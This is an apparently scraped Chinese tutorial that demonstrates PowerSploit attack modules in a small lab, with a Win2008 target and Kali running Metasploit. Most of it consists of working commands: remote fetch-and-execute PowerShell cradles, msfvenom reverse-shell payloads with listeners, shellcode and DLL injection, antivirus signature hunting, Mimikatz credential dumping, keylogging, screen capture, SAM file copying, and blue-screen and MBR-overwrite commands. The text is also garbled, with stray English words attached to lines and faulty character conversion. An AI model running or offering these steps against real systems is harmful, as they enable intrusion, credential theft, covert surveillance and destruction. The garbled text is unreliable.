1、PowerSploit簡介python
PowerSploit是GitHub上面的一個安全項目,上面有不少powershell攻擊腳本,它們主要被用來滲透中的信息偵察、權限提高、權限維持。web
Powershell的優勢:shell
1.代碼運行在內存中能夠不去接觸磁盤數據庫
2.從另外一個系統中下載代碼並執行apache
3.不少安全產品並不能監測到powershell的活動windows
4.cmd.exe一般被阻止運行,可是powershell不會安全
2、實驗環境服務器
Win7 搭建powersploit站點 ip:10.10.10.187網絡
Win 2008(靶機) 遠程加載位於win7的powersploit上的腳本 ip:10.10.10.183session
Kali powersploit部分腳本可能須要kali msf的配合 ip:10.10.10.128
3、搭建站點
1.首先在win7搭建簡易可下載powersploit腳本的服務器,本例用python的web功能搭建一個站點,也能夠用IIS以及apache等來搭建。
Python -m http.server 80 #注意是python3.7的命令,不一樣版本可能開啓web服務的命令可能不一樣。
2.在靶機(win 2008)上測試
4、powershell腳本分類以及功能
1、AntivirusBypass(繞過殺毒)
Find-AVSignature 發現殺軟的簽名
2、CodeExecution(代碼執行)
1. Invoke-DllInjection.ps1 DLL注入腳本 注意dll架構要與目標進程相符,同時要具有相應的權限
2. Invoke-ReflectivePEInjection.ps1 反射型注入 將Windows PE文件(DLL / EXE)反射加載到powershell進程中,或反射地將DLL注入遠程進程
3. Invoke-Shellcode.ps1 將shellcode插入您選擇的進程ID或本地PowerShell中
4. Invoke-WmiCommand.ps1 在目標主機使用wmi執行命令
3、Exfiltration(信息收集) #這個文件夾主要是收集目標主機上的信息
1. Out-Minidump.ps1 生成一個進程的全內存小數據庫
2. Get-VaultCredential.ps1 顯示Windows徽標憑據對象,包括明文Web憑據
3. Get-Keystrokes.ps1 記錄按鍵,時間和活動窗口
4. Get-GPPPassword.ps1 檢索經過組策略首選項推送的賬戶的明文密碼和其餘信息
5. Get-GPPAutologon.ps1 若是經過組策略首選項推送,則從registry.xml檢索自動登陸用戶名和密碼
6. Get-TimedScreenshot.ps1 這是一個以按期間隔拍攝屏幕並將其保存到文件夾的功能
7. Invoke-Mimikatz.ps1 查看主機密碼
8. Invoke-NinjaCopy.ps1 經過讀取原始卷並解析NTFS結構,從NTFS分區卷複製文件
9. Invoke-CredentialInjection.ps1 使用明文憑據建立登陸,而不會觸發可疑事件ID 4648(顯式憑證登陸)
10. Invoke-TokenManipulation.ps1 列出可用的登陸令牌。與其餘用戶建立進程登陸令牌,並模仿當前線程中的登陸令牌
11. Get-MicrophoneAudio.ps1 經過麥克風記錄聲音
12. VolumeShadowCopyTools.ps1
4、Recon(信息偵察) #這個文件夾主要是以目標主機爲跳板進行內網主機偵察
1. Invoke-Portscan.ps1 端口掃描
2. Get-HttpStatus.ps1 返回指定路徑的HTTP狀態代碼和完整URL,並附帶字典文件
3. Invoke-ReverseDnsLookup.ps1 掃描DNS PTR記錄的IP地址範圍
4. PowerView.ps1 PowerView是一系列執行網絡和Windows域枚舉和利用的功能
5.Get-ComputerDetails 得到登陸信息
5、ScriptModification(腳本修改)
1. Out-EncodedCommand.ps1 將腳本或代碼塊編碼,併爲PowerShell有效載荷腳本生成命令行輸出
2. Out-EncryptedScript.ps1 加密文本文件/腳本
3. Out-CompressedDll.ps1 壓縮,Base-64編碼,並輸出生成的代碼,以將受管理的DLL加載到內存中
4. Remove-Comments.ps1 從腳本中刪除註釋和多餘的空白
6、Persistence(權限維持)
1. New-UserPersistenceOption 爲添加持久性函數配置用戶級持久性選項。
2. New-ElevatedPersistenceOption 爲添加持久性函數配置提高的持久性選項。
3. Add-Persistence 向腳本添加持久性功能
4. Install-SSP 安裝安全支持提供程序(ssp)dll
5. Get-SecurityPackages
7、Privesc(提權)
PowerUP: 共同特權升級檢查的信息交換所,以及一些武器化載體
Get-System
8、Mayhem
Set-MasterBootRecord 選擇的消息覆寫主引導記錄
Set-CriticalProcess 退出powershell時使系統藍屏
5、開始實驗
1、AntivirusBypass(繞過殺毒)
Find-AVSignature 發現殺軟的簽名
一、先在靶機(windows 2008)上遠程加載位於win7的Invoke-Shellcode.ps1腳本
iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/AntivirusBypass/Find-AVSignature.ps1")
二、運行腳本,這裏以以前的msf.exe反彈馬爲例 注意:本例把偏移量劃分的不太合適,有興趣本身慢慢劃分,文件的偏移量範圍本例使用winhex查看的。
Find-AVSignature -StartByte 0 -EndByte 220000 -Interval 110000 -Path C:\Users\Administrator.WIN2008\Desktop\msf.exe -OutPath C:\Users\Administrator.WIN2008\Desktop\test\run2 -Verbose
三、 上圖生成3個文件,而後把每一個文件用在線病毒測試網站測試一下(這裏推薦使用http://www.virscan.org/),看看病毒在哪一個文件,而後再把有病毒的那個文件繼續劃分偏移量範圍生成新的文件,而後繼續再病毒測試網站測試,直到最終肯定病毒的特徵碼範圍。
2、CodeExecution(代碼執行)
Shellcode注入:
一、先在靶機(windows 2008)上遠程加載位於win7的Invoke-Shellcode.ps1腳本
iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/CodeExecution/Invoke-Shellcode.ps1")
get-help Invoke-Shellcode
二、在kali中使用msfvenom生成一個powershell反彈馬
msfvenom -p windows/x64/meterpreter/reverse_https lhost=10.10.10.128 lport=4444 -f powershell -o /var/www/test
三、在msf中設置監聽(windows/x64/meterpreter/reverse_https模塊進行反彈)並開啓監聽
use exploit/multi/handler #使用監聽模塊
set payload windows/x64/meterpreter/reverse_https #設置一個payload
四、把剛纔使用msfvenom生成的powershell腳本複製到靶機(windows 2008)
五、靶機(windows 2008)加載shellcode #注意這裏的shellcode爲在kali用msfvenom生成的一個powershell腳本,打開內容,取變量$buf的值
Invoke-Shellcode -Shellcode @() #能夠查看幫助文檔,其中有一個例子這個的用法
六、kali中運行監聽以後就能夠看到獲得靶機(windows 2008)的一個meterpreter的shell,說明成功控制靶機
七、也能夠把使用Invoke-Shellcode腳本進行進程注入到別的進程(這裏以explorer的3508爲例)
DLL:
首先咱們須要知道咱們在啓動一個程序的時候並無把全部的須要用到的數據或者文件運行起來,而是隻運行了關鍵部分,那麼當咱們須要調用到某一功能時再經過DLL來動態連接,不須要時就能夠卸載,使得程序不顯得臃腫。
DLL注入就是將代碼插入/注入到正在運行的進程中的過程。咱們注入的代碼是動態連接庫(DLL)的形式。爲何能夠作到這一點?由於DLL是在運行時根據須要來進行加載
注意:對某些進程的注入須要必定的權限
Dll注入:
能夠利用powersploit將dll文件注入到當前進程中,可是dll文件必須在目標主機上。
1.先在靶機(windows 2008)上遠程加載位於win7的Invoke-DllInjection.ps1腳本
iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/CodeExecution/Invoke-DllInjection.ps1")
2.kali利用msfvenom生成一個dll反彈馬
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.10.10.128 lport=4444 -f dll -o /var/www/msf.dll
3.在msf中設置監聽(windows/x64/meterpreter/reverse_tcp模塊進行反彈)並開啓監聽
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
4.把剛纔生成的msf.dll文件拷貝到靶機(windows 2008),而後在windows 2008上運行powershll腳本
Invoke-DllInjection -ProcessID 464 -Dll C:\Users\Administrator.WIN2008\Desktop\msf.dll
5.kali msf中運行監聽,就能夠看到windows 2008反彈過來一個session
6.也能夠開啓一個隱藏進程並注入dll
Invoke-ReflectivePEInjection 反射型PE注入
一、先在靶機(windows 2008)上遠程加載位於win7 Invoke-ReflectivePEInjection腳本
iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/CodeExecution/Invoke-ReflectivePEInjection.ps1")
二、kali中利用msfvenom生成一個exe反彈馬並對木馬進行屢次編碼
msfvenom -p windows/x64/meterpreter_reverse_tcp -e -i 3 lhost=10.10.10.128 lport=4444 -f exe -o /var/www/msf.exe
三、在kali msf中設置監聽(windows/x64/meterpreter_reverse_tcp)並開啓監聽
四、把在kali中生成的exe木馬複製到靶機,在靶機(windows 2008)執行腳本
$PEBytes = [IO.File]::ReadAllBytes('C:\Users\Administrator.WIN2008\Desktop\msf.exe')
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ForceASLR
五、這時在kali端就能看到一個windows 2008反彈過來的session
3、Recon(信息偵察)
Invoke-Portscan 端口掃描
一、先在靶機(windows 2008)上遠程加載位於win7 Invoke-Portscan.ps1腳本
二、開始端口掃描,這裏以掃描一個ip字典爲例,別的參數,能夠查看幫助文檔
Invoke-ReverseDnsLookup 反向DNS查詢
一、 先在靶機(windows 2008)上遠程加載位於win7 Invoke-ReverseDnsLookup腳本
iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/Recon/Invoke-ReverseDnsLookup.ps1")
一、 運行腳本查找特定的ip的主機名,下圖能夠看到查找ip對應的主機名
Invoke-ReverseDnsLookup "10.10.10.128,10.10.10.183,10.10.10.187" | fl IP,HostName
Get-HttpStatus 網站目錄檢測
一、先在靶機(windows 2008)上遠程加載位於win7 Get-HttpStatus腳本
iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/Recon/Get-HttpStatus.ps1")
二、 本身建立一個字典,運行腳本,下圖能夠看到status狀態是ok說明目標存在那個網站目錄。
Get-ComputerDetails 得到主機登陸信息
一、 先在靶機(windows 2008)上遠程加載位於win7 Get-ComputerDetails腳本
iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/Recon/Get-ComputerDetails.ps1")
二、 運行腳本Get-ComputerDetails,看到以下效果,有報錯,不知道什麼緣由,難道powerspolit大神異常處理沒考慮徹底?
4、Exfiltration(信息收集) #這個文件夾主要是收集目標主機上的信息
Invoke-Mimikatz 查看主機密碼(須要管理員權限)
一、先在靶機(windows 2008)上遠程加載位於win7 Invoke-Mimikatz腳本,並運行腳本查看密碼
iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/Exfiltration/Invoke-Mimikatz.ps1")
Get-Keystrokes 鍵盤記錄(詳細的鼠標鍵盤記錄)
一、先在靶機(windows 2008)上遠程加載位於win7 Get-Keystrokes腳本
iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/Exfiltration/Get-Keystrokes.ps1")
二、運行Get-Keystrokes,並把記錄結果保存到一個文件
Invoke-NinjaCopy 超級複製(須要管理員權限,能夠複製受保護的運行中的系統文件)
一、先在靶機(windows 2008)上遠程加載位於win7 Invoke-NinjaCopy腳本
iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/Exfiltration/Invoke-NinjaCopy.ps1")
get-help Invoke-NinjaCopy
二、運行腳本,把SAM文件複製一份到別處,下圖能夠看到成功複製一份SAM文件,注意普通複製不能複製系統限制的文件。
Invoke-NinjaCopy -Path "C:\Windows\System32\config\SAM" -LocalDestination "C:\Users\Administrator\Desktop\SAM"
三、用普通複製測試一下,看看可否複製SAM文件,下圖能夠看到普通複製沒法複製SAM,由於系統對SAM文件進行保護,只要進程一開啓(系統開機自動運行關於SAM文件的進程而且沒法中止掉進程),別的程序或者進程就沒法訪問SAM文件。
Get-TimedScreenshot 屏幕記錄
1.先在靶機(windows 2008)上遠程加載位於win7 Get-TimedScreenshot腳本
iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/Exfiltration/Get-TimedScreenshot.ps1")
2.運行腳本,在test文件夾中能夠看到抓取屏幕的圖片
Get-TimedScreenshot -Path c:\test\ -Interval 10 -EndTime 23:20
3.Get-MicrophoneAudio 經過麥克風記錄聲音,與Get-TimedScreenshot(屏幕記錄)方法同樣,這裏再也不測試
Invoke-CredentialInjection
1.先在靶機(windows 2008)上遠程加載位於win7 Invoke-TokenManipulation腳本
iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/Exfiltration/Invoke-TokenManipulation.ps1")
2.Invoke-TokenManipulation -Enumerate 枚舉惟一 可用的令牌 別的例子本身查看幫助
5、ScriptModification 腳本修改
Out-CompressedDll 將dll壓縮並base64編碼
1.先在靶機(windows 2008)上遠程加載位於win7 Out-CompressedDll腳本
iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/ScriptModification/Out-CompressedDll.ps1")
2.運行腳本 Out-CompressedDll -FilePath C:\Users\Administrator.WIN2008\Desktop\msf.dll
Out-EncodedCommand 將腳本或代碼塊編碼
1.先在靶機(windows 2008)上遠程加載位於win7 Out-EncodedCommand腳本
iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/ScriptModification/ Out-EncodedCommand .ps1")
2. 腳本塊編碼
3.腳本編碼
Out-EncryptedScript 腳本加密
1.先在靶機(windows 2008)上遠程加載位於win7 Out-EncryptedScript腳本
iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/ScriptModification/ Out-EncryptedScript .ps1")
2.給腳本加密
Remove-Comments 刪除註釋和沒必要要的空白符
1.先在靶機(windows 2008)上遠程加載位於win7 Remove-Comments腳本
iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/ScriptModification/ Remove-Comments .ps1")
2.運行腳本,刪除代碼塊中的空白和註釋以及腳本中的空白和註釋
6、Mayhem
1.首先查看Mayhem幫助說明文檔,能夠看到說明文檔使用Mayhem模塊須要先將Mayhem放到C:\Windows\System32\WindowsPowerShell\v1.0\Modules下,而後須要導入模塊
2.將Mayhem放到相應的位置以後,便開始導入模塊,以及查看命令幫助
Import-Module Mayhem
Get-Command -Module Mayhem
3.開始使用命令
3.1Set-CriticalProcess 退出powershell時使系統藍屏
3.2退出powershell測試是否藍屏,下圖能夠看到藍屏了
3.3 Set-MasterBootRecord 覆寫主引導記錄,本次實驗並無成功
你的點贊就是對做者最大的感謝,因爲做者水平有限,不免會出現問題,請指出,你們共同進步,有好的相關文章也請推薦下,共同窗習。
------------------------------------------------------------------------------------------------------------------